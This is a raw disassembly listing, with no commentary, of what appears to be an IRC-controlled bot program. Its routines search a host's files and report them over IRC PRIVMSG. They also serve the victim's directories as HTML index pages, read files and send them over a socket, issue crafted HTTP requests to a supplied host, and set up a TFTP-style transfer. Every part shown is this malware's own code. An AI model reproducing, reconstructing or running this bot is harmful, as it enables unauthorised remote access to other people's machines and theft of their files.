		cmp	byte ptr [eax],	2Fh
		jz	short loc_406106
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40610F
; ---------------------------------------------------------------------------


loc_406106:				; CODE XREF: sub_4060D0+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40610F:				; CODE XREF: sub_4060D0+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061AA
		mov	[ebp+arg_8], 2


loc_40613A:				; CODE XREF: sub_4060D0+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417AB0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40617A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40617A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406194
; ---------------------------------------------------------------------------


loc_40617A:				; CODE XREF: sub_4060D0+7Aj
					; sub_4060D0+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40618A
		push	5Ch
		pop	eax
		jmp	short loc_40618D
; ---------------------------------------------------------------------------


loc_40618A:				; CODE XREF: sub_4060D0+B3j
		movsx	eax, al


loc_40618D:				; CODE XREF: sub_4060D0+B8j
		mov	[ebp+ebx+var_210], al


loc_406194:				; CODE XREF: sub_4060D0+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40613A


loc_4061AA:				; CODE XREF: sub_4060D0+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_314]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_418B6E
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 2680391h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4061FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4061FE
		push	[ebp+arg_0]
		jmp	loc_40627E
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_4060D0+11Cj
		mov	[ebp+var_4], esi


loc_4061FE:				; CODE XREF: sub_4060D0+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40620B
		mov	[ebp+var_4], esi


loc_40620B:				; CODE XREF: sub_4060D0+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406289
		cmp	[ebp+arg_C], edi
		jz	short loc_40627D
		lea	eax, [ebp+var_314]
		push	offset asc_42A65C ; "*"
		push	eax
		call	sub_4179D0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406ACA
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4172AE
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4062D8
; ---------------------------------------------------------------------------


loc_40627D:				; CODE XREF: sub_4060D0+152j
		push	ebx


loc_40627E:				; CODE XREF: sub_4060D0+126j
		call	dword_43F700
		jmp	loc_406380
; ---------------------------------------------------------------------------


loc_406289:				; CODE XREF: sub_4060D0+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 2640764h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062D8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172AE
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2680000h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26217F0h


loc_4062D8:				; CODE XREF: sub_4060D0+1ABj
					; sub_4060D0+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_42A61C
		push	eax
		call	sub_4172AE
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416D5A
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4450C4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F4D
		push	edi
		push	edi
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4450D4[ecx], eax
		jz	short loc_406352


loc_406340:				; CODE XREF: sub_4060D0+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_406380
		push	5
		call	near ptr 260086Bh
		nop
		jmp	short loc_406340
; ---------------------------------------------------------------------------


loc_406352:				; CODE XREF: sub_4060D0+26Ej
		push	ebx
		call	dword_43F700
		call	near ptr 2640A83h
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_42A5D4
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_406380:				; CODE XREF: sub_4060D0+1B4j
					; sub_4060D0+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406387	proc near		; CODE XREF: sub_405F4D+15Ap
					; sub_40EE72+49C9p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417330
		mov	edi, [ebp+arg_0]
		push	offset asc_42A660 ; "\n"
		push	edi
		call	sub_418B6E
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4063E6
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_4064E5
; ---------------------------------------------------------------------------


loc_4063E6:				; CODE XREF: sub_406387+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064CB
		call	sub_417AB0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	edi
		call	sub_417AB0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_4064E5
; ---------------------------------------------------------------------------


loc_4064CB:				; CODE XREF: sub_406387+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h


loc_4064E5:				; CODE XREF: sub_406387+5Aj
					; sub_406387+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	[ebp+arg_C], ebx
		jz	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		sub	eax, 3
		pop	ecx
		jz	short loc_406531


loc_406525:				; CODE XREF: sub_406387+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406531
		dec	eax
		jnz	short loc_406525


loc_406531:				; CODE XREF: sub_406387+19Cj
					; sub_406387+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8


loc_406580:				; CODE XREF: sub_406387+180j
					; sub_406387+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 26B0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	near ptr 26A0000h
		nop
		test	eax, eax
		jz	loc_406970
		mov	edi, 1FFh


loc_4065AC:				; CODE XREF: sub_406387+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 269054Ch
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2690000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406621
		mov	ecx, offset aAm	; "AM"


loc_406621:				; CODE XREF: sub_406387+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40662D
		sub	eax, 0Ch


loc_40662D:				; CODE XREF: sub_406387+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4172AE
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067D0
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066A1
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_406919
; ---------------------------------------------------------------------------


loc_4066A1:				; CODE XREF: sub_406387+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40678B
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406741
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406746
; ---------------------------------------------------------------------------


loc_406741:				; CODE XREF: sub_406387+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_406746:				; CODE XREF: sub_406387+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40691A
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406387+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_406929
; ---------------------------------------------------------------------------


loc_4067D0:				; CODE XREF: sub_406387+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40680F
		push	ebx
		push	[ebp+var_368]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4067FB:				; CODE XREF: sub_406387+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		jmp	loc_406929
; ---------------------------------------------------------------------------


loc_40680F:				; CODE XREF: sub_406387+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_406903
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068AF
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B4
; ---------------------------------------------------------------------------


loc_4068AF:				; CODE XREF: sub_406387+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4068B4:				; CODE XREF: sub_406387+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4067FB
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_406387+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_406919:				; CODE XREF: sub_406387+315j
		push	esi


loc_40691A:				; CODE XREF: sub_406387+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 18h


loc_406929:				; CODE XREF: sub_406387+444j
					; sub_406387+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	[ebp+arg_8], ebx
		jz	short loc_406958
		push	7D0h
		call	near ptr 260086Bh
		nop


loc_406958:				; CODE XREF: sub_406387+22Bj
					; sub_406387+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jnz	loc_4065AC


loc_406970:				; CODE XREF: sub_406387+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2680456h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069B3
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------


loc_4069B3:				; CODE XREF: sub_406387+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069CD
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406387+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4172AE
		add	esp, 10h


loc_4069E7:				; CODE XREF: sub_406387+62Aj
					; sub_406387+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43F6B8
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406387	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A0D	proc near		; CODE XREF: sub_405F4D+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 2640764h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AC5
		push	esi
		push	ebx
		call	near ptr 2680000h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406ABE


loc_406A52:				; CODE XREF: sub_406A0D+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A6F
		mov	edi, [ebp+arg_4]


loc_406A6F:				; CODE XREF: sub_406A0D+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 262109Ch
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AB9
		call	dword_43F5FC
		cmp	eax, 2733h
		jnz	short loc_406ABE
		xor	eax, eax


loc_406AB9:				; CODE XREF: sub_406A0D+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A52


loc_406ABE:				; CODE XREF: sub_406A0D+43j
					; sub_406A0D+A8j
		push	ebx
		call	near ptr 26217F0h
		nop


loc_406AC5:				; CODE XREF: sub_406A0D+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406ACA	proc near		; CODE XREF: sub_4060D0+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AF3


loc_406ADD:				; CODE XREF: sub_406ACA+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AE7
		mov	byte ptr [esi+edi], 2Fh


loc_406AE7:				; CODE XREF: sub_406ACA+17j
		push	edi
		inc	esi
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406ADD


loc_406AF3:				; CODE XREF: sub_406ACA+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF8	proc near		; CODE XREF: sub_40EE72+2BE6p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43F5E0
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43F668
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BD5
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B71
		mov	eax, offset byte_43C80C


loc_406B71:				; CODE XREF: sub_406AF8+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43F6B8
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		pop	esi


loc_406BD5:				; CODE XREF: sub_406AF8+6Bj
		push	ebx
		call	dword_43F700
		call	dword_43F5C8
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4172AE
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C15
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_406C15:				; CODE XREF: sub_406AF8+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406AF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C19	proc near		; CODE XREF: sub_406C19:loc_407104p
					; DATA XREF: sub_407252+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CDC
		push	190h
		nop
		call	near ptr 260086Bh
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC38
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CBC
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
